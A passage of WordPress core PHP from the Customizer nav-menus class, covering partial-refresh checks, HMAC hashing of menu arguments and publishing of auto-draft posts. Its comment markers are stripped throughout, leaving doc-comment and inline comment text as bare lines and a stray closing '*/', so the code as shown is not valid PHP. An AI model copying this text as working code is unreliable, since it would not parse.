'container_inclusive' => true,
'settings' => array(), Empty because the nav menu instance may relate to a menu or a location.
'capability' => 'edit_theme_options',
)
);
}
return $partial_args;
}
*
* Adds hooks for the Customizer preview.
*
* @since 4.3.0
public function customize_preview_init() {
add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue_deps' ) );
add_filter( 'wp_nav_menu_args', array( $this, 'filter_wp_nav_menu_args' ), 1000 );
add_filter( 'wp_nav_menu', array( $this, 'filter_wp_nav_menu' ), 10, 2 );
add_action( 'wp_footer', array( $this, 'export_preview_data' ), 1 );
add_filter( 'customize_render_partials_response', array( $this, 'export_partial_rendered_nav_menu_instances' ) );
}
*
* Makes the auto-draft status protected so that it can be queried.
*
* @since 4.7.0
*
* @global stdClass[] $wp_post_statuses List of post statuses.
public function make_auto_draft_status_previewable() {
global $wp_post_statuses;
$wp_post_statuses['auto-draft']->protected = true;
}
*
* Sanitizes post IDs for posts created for nav menu items to be published.
*
* @since 4.7.0
*
* @param array $value Post IDs.
* @return array Post IDs.
public function sanitize_nav_menus_created_posts( $value ) {
$post_ids = array();
foreach ( wp_parse_id_list( $value ) as $post_id ) {
if ( empty( $post_id ) ) {
continue;
}
$post = get_post( $post_id );
if ( 'auto-draft' !== $post->post_status && 'draft' !== $post->post_status ) {
continue;
}
$post_type_obj = get_post_type_object( $post->post_type );
if ( ! $post_type_obj ) {
continue;
}
if ( ! current_user_can( $post_type_obj->cap->publish_posts ) || ! current_user_can( 'edit_post', $post_id ) ) {
continue;
}
$post_ids[] = $post->ID;
}
return $post_ids;
}
*
* Publishes the auto-draft posts that were created for nav menu items.
*
* The post IDs will have been sanitized by already by
* `WP_Customize_Nav_Menu_Items::sanitize_nav_menus_created_posts()` to
* remove any post IDs for which the user cannot publish or for which the
* post is not an auto-draft.
*
* @since 4.7.0
*
* @param WP_Customize_Setting $setting Customizer setting object.
public function save_nav_menus_created_posts( $setting ) {
$post_ids = $setting->post_value();
if ( ! empty( $post_ids ) ) {
foreach ( $post_ids as $post_id ) {
Prevent overriding the status that a user may have prematurely updated the post to.
$current_status = get_post_status( $post_id );
if ( 'auto-draft' !== $current_status && 'draft' !== $current_status ) {
continue;
}
$target_status = 'attachment' === get_post_type( $post_id ) ? 'inherit' : 'publish';
$args = array(
'ID' => $post_id,
'post_status' => $target_status,
);
$post_name = get_post_meta( $post_id, '_customize_draft_post_name', true );
if ( $post_name ) {
$args['post_name'] = $post_name;
}
Note that wp_publish_post() cannot be used because unique slugs need to be assigned.
wp_update_post( wp_slash( $args ) );
delete_post_meta( $post_id, '_customize_draft_post_name' );
}
}
}
*
* Keeps track of the arguments that are being passed to wp_nav_menu().
*
* @since 4.3.0
*
* @see wp_nav_menu()
* @see WP_Customize_Widgets::filter_dynamic_sidebar_params()
*
* @param array $args An array containing wp_nav_menu() arguments.
* @return array Arguments.
public function filter_wp_nav_menu_args( $args ) {
* The following conditions determine whether or not this instance of
* wp_nav_menu() can use selective refreshed. A wp_nav_menu() can be
* selective refreshed if...
$can_partial_refresh = (
...if wp_nav_menu() is directly echoing out the menu (and thus isn't manipulating the string after generated),
! empty( $args['echo'] )
&&
...and if the fallback_cb can be serialized to JSON, since it will be included in the placement context data,
( empty( $args['fallback_cb'] ) || is_string( $args['fallback_cb'] ) )
&&
...and if the walker can also be serialized to JSON, since it will be included in the placement context data as well,
( empty( $args['walker'] ) || is_string( $args['walker'] ) )
...and if it has a theme location assigned or an assigned menu to display,
&& (
! empty( $args['theme_location'] )
||
( ! empty( $args['menu'] ) && ( is_numeric( $args['menu'] ) || is_object( $args['menu'] ) ) )
)
&&
...and if the nav menu would be rendered with a wrapper container element (upon which to attach data-* attributes).
(
! empty( $args['container'] )
||
( isset( $args['items_wrap'] ) && str_starts_with( $args['items_wrap'], '<' ) )
)
);
$args['can_partial_refresh'] = $can_partial_refresh;
$exported_args = $args;
Empty out args which may not be JSON-serializable.
if ( ! $can_partial_refresh ) {
$exported_args['fallback_cb'] = '';
$exported_args['walker'] = '';
}
* Replace object menu arg with a term_id menu arg, as this exports better
* to JS and is easier to compare hashes.
if ( ! empty( $exported_args['menu'] ) && is_object( $exported_args['menu'] ) ) {
$exported_args['menu'] = $exported_args['menu']->term_id;
}
ksort( $exported_args );
$exported_args['args_hmac'] = $this->hash_nav_menu_args( $exported_args );
$args['customize_preview_nav_menus_args'] = $exported_args;
$this->preview_nav_menu_instance_args[ $exported_args['args_hmac'] ] = $exported_args;
return $args;
}
*
* Prepares wp_nav_menu() calls for partial refresh.
*
* Injects attributes into container element.
*
* @since 4.3.0
*
* @see wp_nav_menu()
*
* @param string $nav_menu_content The HTML content for the navigation menu.
* @param object $args An object containing wp_nav_menu() arguments.
* @return string Nav menu HTML with selective refresh attributes added if partial can be refreshed.
public function filter_wp_nav_menu( $nav_menu_content, $args ) {
if ( isset( $args->customize_preview_nav_menus_args['can_partial_refresh'] ) && $args->customize_preview_nav_menus_args['can_partial_refresh'] ) {
$attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'nav_menu_instance[' . $args->customize_preview_nav_menus_args['args_hmac'] . ']' ) );
$attributes .= ' data-customize-partial-type="nav_menu_instance"';
$attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $args->customize_preview_nav_menus_args ) ) );
$nav_menu_content = preg_replace( '#^(<\w+)#', '$1 ' . str_replace( '\\', '\\\\', $attributes ), $nav_menu_content, 1 );
}
return $nav_menu_content;
}
*
* Hashes (hmac) the nav menu arguments to ensure they are not tampered with when
* submitted in the Ajax request.
*
* Note that the array is expected to be pre-sorted.
*
* @since 4.3.0
*
* @param array $args The arguments to hash.
* @return string Hashed nav menu arguments.
public function hash_nav_menu_args( $args ) {
return wp_hash( serialize( $args ) );
}
*
* Enqueues scripts for the Customizer preview.
*
* @since 4.3.0
public function customize_preview_enqueue_deps() {
wp_enqueue_script( 'customize-preview-nav-menus' ); Note that we have overridden this.
}
*
* Exports data from PHP to JS.
*
* @since 4.3.0
public function export_preview_data() {
Why not wp_localize_script? Because we're not localizing, and it forces values into strings.
$exports = array(
'navMenuInstanceArgs' => $this->preview_nav_menu_instance_args,
);
wp_print_inline_script_tag( sprintf( 'var _wpCustomizePreviewNavMenusExports = %s;', wp_json_encode( $exports ) ) );
}
*
* Exports any wp_nav_menu() calls during the rendering of any partials.
*
* @since 4.5.0
*
* @param array $response Response.
* @return array Response.
public function export_partial_rendered_nav_menu_instances( $response ) {
$response['nav_menu_instance_args'] = $this->preview_nav_menu_instance_args;
return $response;
}
*
* Renders a specific menu via wp_nav_menu() using the supplied arguments.
*
* @since 4.3.0
*
* @see wp_nav_menu()
*
* @param WP_Customize_Partial $partial Partial.
* @param array $nav_menu_args Nav menu args supplied as container context.
* @return string|false
public function render_nav_menu_partial( $partial, $nav_menu_args ) {
unset( $partial );
if ( ! isset( $nav_menu_args['args_hmac'] ) ) {
Error: missing_args_hmac.
return false;
}
$nav_menu_args_hmac = $nav_menu_args['args_hmac'];
unset( $nav_menu_args['args_hmac'] );
ksort( $nav_menu_args );
if ( ! hash_equals( $this->hash_nav_menu_args( $nav_menu_args ), $nav_menu_args_hmac ) ) {
Error: args_hmac_mismatch.
return false;
}
ob_start();
wp_nav_menu( $nav_menu_args );
$content = ob_get_clean();
return $content;
}
}
*/